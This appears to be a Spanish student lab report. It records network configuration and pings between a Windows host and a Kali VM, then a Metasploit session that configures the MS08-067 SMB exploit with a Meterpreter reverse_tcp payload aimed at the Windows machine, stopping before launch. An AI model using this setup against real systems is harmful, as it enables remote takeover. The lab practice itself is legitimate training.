

Sprint 03

Windows

Adaptador de Ethernet Ethernet 2:

```
Sufijo DNS específico para la conexión. . . :  
Vínculo: dirección IPv6 local. . . : fe80::9254:f47f:83c:db16%15  
Dirección IPv4. . . . . : 192.168.56.1  
Máscara de subred . . . . . : 255.255.255.0  
Puerta de enlace predeterminada . . . . . :
```

```
Dirección IPv4. . . . . : 192.168.0.7  
Máscara de subred . . . . . : 255.255.255.0  
Puerta de enlace predeterminada . . . . . : fe80::a698:13ff:fe61:5037  
192.168.0.1
```

Adaptador de Ethernet Conexión de red Bluetooth:

```
Estado de los medios. . . . . : medios desconectados  
Sufijo DNS específico para la conexión. . . :
```

C:\Users\vale_>ping 192.168.0.7

Haciendo ping a 192.168.0.7 con 32 bytes de datos:

```
Respuesta desde 192.168.0.7: bytes=32 tiempo<1m TTL=128  
Respuesta desde 192.168.0.7: bytes=32 tiempo<1m TTL=128  
Respuesta desde 192.168.0.7: bytes=32 tiempo<1m TTL=128  
Respuesta desde 192.168.0.7: bytes=32 tiempo<1m TTL=128
```

Estadísticas de ping para 192.168.0.7:

```
Paquetes: enviados = 4, recibidos = 4, perdidos = 0  
(0% perdidos),
```

Linux

```
jwr@kali: ~  
File Actions Edit View Help  
(jwr@kali)~[~]  
$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 192.168.0.8 netmask 255.255.255.0 broadcast 192.168.0.255  
    inet6 fe80::a00:27ff:fe61:641a prefixlen 64 scopeid 0x20<link>  
    inet6 2800:560:38:1b29:a00:27ff:fe61:641a prefixlen 64 scopeid 0x0<  
global>
```

Desde Linux Ping a dir ip SO Windows

```
jwr@kali: ~  
File Actions Edit View Help  
  
(jwr@kali)~  
$ ping 192.168.56.1  
PING 192.168.56.1 (192.168.56.1) 56(84) bytes of data.  
64 bytes from 192.168.56.1: icmp_seq=1 ttl=254 time=115 ms  
64 bytes from 192.168.56.1: icmp_seq=2 ttl=254 time=13.7 ms  
^C  
--- 192.168.56.1 ping statistics ---  
2 packets transmitted, 2 received, 0% packet loss, time 1000ms  
rtt min/avg/max/mdev = 13.664/64.557/115.450/50.893 ms
```

Desde Win ping a la dir ip Linux

```
C:\Users\vale_>ping 192.168.0.8  
  
Haciendo ping a 192.168.0.8 con 32 bytes de datos:  
Respuesta desde 192.168.0.8: bytes=32 tiempo<1m TTL=64  
Respuesta desde 192.168.0.8: bytes=32 tiempo<1m TTL=64  
Respuesta desde 192.168.0.8: bytes=32 tiempo<1m TTL=64  
  
Estadísticas de ping para 192.168.0.8:  
    Paquetes: enviados = 3, recibidos = 3, perdidos = 0  
    (0% perdidos),
```

Metasploit

```
msf6 > search netapi  
  
Matching Modules  
=====
```

#	Name	Disclosure Date	Rank	Check	De
0	exploit/windows/smb/ms03_049_netapi	2003-11-11	good	No	MS
03-049	Microsoft Workstation Service NetAddAlternateComputerName Overflow				
1	exploit/windows/smb/ms06_040_netapi	2006-08-08	good	No	MS
06-040	Microsoft Server Service NetpwPathCanonicalize Overflow				
2	exploit/windows/smb/ms06_070_wkssvc	2006-11-14	manual	No	MS
06-070	Microsoft Workstation Service NetpManageIPCCConnect Overflow				
3	exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS
08-067	Microsoft Server Service Relative Path Stack Corruption				

```

File Actions Edit View Help

  RPORT 445          yes The SMB service port (TCP)
  SMBPIPE BROWSER    yes The pipe name to use (BROWSER, SRVSV
                        C)

payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  EXITFUNC  thread              yes       Exit technique (Accepted: '', seh,
  LHOST     192.168.0.8          yes       thread, process, none)
  LPORT     4444                 yes       The listen address (an interface ma
  LPOR      y be specified)
  The listen port

exploit target:

  Id  Name
  --  ---
  0   Automatic Targeting

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) >

```

```

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.0.7
RHOST => 192.168.0.7
msf6 exploit(windows/smb/ms08_067_netapi) > set RPORT 4445
RPORT => 4445
msf6 exploit(windows/smb/ms08_067_netapi) >

```

```

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.56.1
RHOST => 192.168.56.1
msf6 exploit(windows/smb/ms08_067_netapi) > set RPORT 4445
RPORT => 4445
msf6 exploit(windows/smb/ms08_067_netapi) >

```

```

Module options (exploit/windows/smb/ms08_067_netapi):

  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    192.168.56.1    yes       The target host(s). see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     4445             yes       The SMB service port (TCP)
  SMBPIPE   BROWSER          yes       The pipe name to use (BROWSER, SRVSV

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  EXITFUNC  thread              yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.0.8          yes       The listen address (an interface may be specified)
  LPORT     4444                 yes       The listen port

```

Nota: Por razones de hacer la practica en un ambiente controlado como se ha recomendado desde un principio Llegamos hasta este punto.